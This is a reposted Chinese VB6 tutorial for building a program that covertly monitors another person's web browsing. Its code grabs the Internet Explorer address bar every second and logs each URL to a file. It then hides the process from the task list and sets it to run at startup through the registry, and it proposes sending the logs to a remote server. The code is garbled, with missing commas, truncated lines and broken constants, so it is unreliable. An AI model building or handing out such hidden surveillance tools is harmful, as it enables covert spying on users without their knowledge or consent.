微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

一个用VB编写的监控别人上网的软件例子

一个VB编写的监控别人上网的软件例子

http://tech.ddvip.com20060726 社区交流

  一、程序核心

  本程序的核心是通过API函数获得窗口句柄并获得浏览器访问的网址,在此基础上可以实现用Winsock控件进行远程的监视和管理。

  1.先创建一个工程并在窗口Form1中,并声明下面的四个API函数和两个常量:Option Explicit Private Declare Function FindWindow Lib ″user32″ Alias ″FindWindowA″ (ByVal lpCl assName As String ByVal lpWindowName As String) As Long

  ′Findwindow函数功能是找到当前运行的IE窗口的url地址的句柄Private Declare Function SendMessage Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long ByVal wMsg As Long ByVal wParam As Long lParam As Long) As Long

  ′SendMessage函数功能是向操作系统发送一条消息Private Declare Function findwindowex Lib ″user32″ Alias ″findwindowexA″ (ByVal hWnd1 As LongByVal hWnd2 As Long ByVal lpsz1 As String ByVal lpsz2 As String) As Long

  findwindowex函数功能是找到子窗体的句柄Private Declare Function SendMessageByString Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long ByVal lParam As String) As Long

  Private Const WM_GETTEXT = HD

  Private Const WM_GETTEXTLENGTH = HE

  2.在窗体上添加Command控件,并命名为GetURLstring,单击此命令按钮,并为其添加下面的程序代码Private Sub GetURLstring_Click()

On Error GoTo CallErrorA

  Dim sClassName As String ′设定一个字符串变量,是类变量Dim lhwnd As Long ′设定一个长整形变量用来接收函数返回值Dim WindowHandle As Long ′设定一个长整形变量用来接收函数的返回句柄lhwnd = 0

  sClassName = (″IEFrame″)

  lhwnd = findwindowex(lhwnd 0 sClassName vbNullString) ′获得URL地址栏的句柄,获得IE窗口的句柄sClassName = (″WorkerA″)

   sClassName vbNullString) ′获得IE窗口的工作区的句柄sClassName = (″ReBarWindow32″)

  IE窗口的菜单栏的句柄sClassName = (″ComboBoxEx32″)

  IE窗口的下拉菜单的句柄sClassName = (″ComboBox″)

  IE窗口的下拉菜单当前项的句柄sClassName = (″Edit″)

   vbNullString) ′获得这个下拉菜单的编辑框句柄WindowHandle = lhwnd ′接收当前我们想要的句柄Dim buffer As String ′设定字符串变量接收当前的字符串Dim TextLength As Long ′设定长整形变量接收字符串的长度TextLength = SendMessage(WindowHandle WM_GETTEXTLENGTH 0&, 0) ′向系统发送获得IE窗口的地址栏中的字符串长度命令

 buffer = String(TextLength 0) ′

  Call SendMessageByString(WindowHandle WM_GETTEXT TextLength 1 buffer) ′向系统发送获得IE窗体地址栏中的字符串命令If buffer = ″″ Then

  MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″ vbOKOnly

  Else

  MsgBox buffer ′IE运行时显示当前网址End If

  Exit Sub

  CallErrorA:

  MsgBox Err.Description

  Err.Clear

  End Sub

  二、添加定时保存功能

  我们对上面的程序稍作改动,即可实现定时把当前访问的网址保存到文件,这样就为我们进行网络监控提供了保证。1.在窗体上添加Timer控件Timer1,并将其属性Interval设置为1000,双击此控件,定义代码如下:Private Sub Timer1_Timer()

  GetURLstring_Click

  End Sub

  2 在窗体代码开始的声明部分定义变量curUrl

  Dim curUrl As String

  3.用文件操作函数Buffer变量中的字符串写进磁盘文件中,添加代码如下Private Sub Form_Load()

  Open App.Path ″TestFile.txt″ For Output Access Write As 1 ′打开一个文件Private Sub Form_QueryUnload(Cancel As Integer UnloadMode As Integer)

  Close 1 ′关闭开始打开的文件End Sub

  并把GetURLstring_Click()中的如下部分End If

  改为如下代码:

  If buffer <> ″″ And buffer <> curUrl Then

  Write 1 Now vbTab buffer

  curUrl = buffer

  End If

  三、隐蔽运行

  为了防止运行在客户端的程序被用户发现,可以把窗体隐藏,并调用API函数让其在CtrlAltDel的程序列表中消失,需要把自己的程序注册为服务器(Service),这可以利用RegisterService API函数将程序的进程ID进行注册来实现。在程序退出时再次使用此API函数将服务器注册取消。方法如下:1.在窗体的声明部分声明加入API函数和需要的常数:Private Declare Function GetCurrentProcessId Lib ″kernel32″ () As Long

  Private Declare Function GetCurrentProcess Lib ″kernel32″ () As Long

  Private Declare Function RegisterServiceProcess Lib ″kernel32″ (ByVal dwProcessID As Long _ ByVal dwType As Long) As Long

  Private Const RSP_SIMPLE_SERVICE = 1

  Private Const RSP_UNREGISTER_SERVICE = 0

  2.注册service和释放注册的过程:

  在Form_Load事件的开始添加如下代码Dim pid As Long

  Dim reserv As Long

  pid = GetCurrentProcessId() ′得到当前进程ID

  regserv = RegisterServiceProcess(pid RSP_SIMPLE_SERVICE) ′把本程序注册service

  把Form_QueryUnload事件修改为如下代码,即在程序结束时把服务器注册取消1

  pid = GetCurrentProcessId()

   RSP_UNREGISTER_SERVICE)

  End Sub

  如果让程序开机运行,需要先把文件编译为可执行文件放到特定目录下,并修改注册表让其开机便运行,路径是HKEY_LOCAL_MACHInesoftwareMicrosoftwindowsCurrentVersonRun,用API函数在里面写入个字符串型的键值,并把内容修改成为你的文件(包括路径)即可,当然,更为实用的功能是把访问的网址信息定时传送到服务器,需要用到Winsock控件和定时传输。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


Format[$] ( expr [ , fmt ] ) format 返回变体型 format$ 强制返回为文本 -------------------------------- 数字类型的格式化 --------------------------------     固定格式参数:     General Number 普通数字,如可以用来去掉千位分隔号     format$("100,1
VB6或者ASP 格式化时间为 MM/dd/yyyy 格式,竟然没有好的办法, Format 或者FormatDateTime 竟然结果和系统设置的区域语言的日期和时间格式相关。意思是尽管你用诸如 Format(Now, "MM/dd/yyyy"),如果系统的设置格式区域语言的日期和时间格式分隔符是"-",那他还会显示为 MM-dd-yyyy     只有拼凑: <%response.write
在项目中添加如下代码:新建窗口来显示异常信息。 Namespace My ‘全局错误处理,新的解决方案直接添加本ApplicationEvents.vb 到工程即可 ‘添加后还需要一个From用来显示错误。如果到这步还不会则需要先打好基础啦 ‘======================================================== ‘以下事件
转了这一篇文章,原来一直想用C#做k3的插件开发,vb没有C#用的爽呀,这篇文章写与2011年,看来我以前没有认真去找这个方法呀。 https://blog.csdn.net/chzjxgd/article/details/6176325 金蝶K3 BOS的插件官方是用VB6编写的,如果  能用.Net下的语言工具开发BOS插件是一件很愉快的事情,其中缘由不言而喻,而本文则是个人首创,实现在了用V
Sub 分列() ‘以空格为分隔符,连续空格只算1个。对所选中的单元格进行处理 Dim m As Range, tmpStr As String, s As String Dim x As Integer, y As Integer, subStr As String If MsgBox("确定要分列处理吗?请确定分列的数据会覆盖它后面的单元格!", _
  窗体代码 1 Private Sub Text1_OLEDragDrop(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single) 2 Dim path As String, hash As String 3 For Each fil
  Imports MySql.Data.MySqlClient Public Class Form1 ‘ GLOBAL DECLARATIONS Dim conString As String = "Server=localhost;Database=net2;Uid=root;Pwd=123456;" Dim con As New MySqlConnection
‘導入命名空間 Imports ADODB Imports Microsoft.Office.Interop   Private Sub A1() Dim Sql As String Dim Cnn As New ADODB.Connection Dim Rs As New ADODB.Recordset Dim S As String   S = "Provider=OraOLEDB.Oracl
Imports System.IO Imports System.Threading Imports System.Diagnostics Public Class Form1 Dim A(254) As String    Function ping(ByVal IP As Integer) As String Dim IPAddress As String IPAddress = "10.0.
VB运行EXE程序,并等待其运行结束 参考:https://blog.csdn.net/useway/article/details/5494084 Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long Pr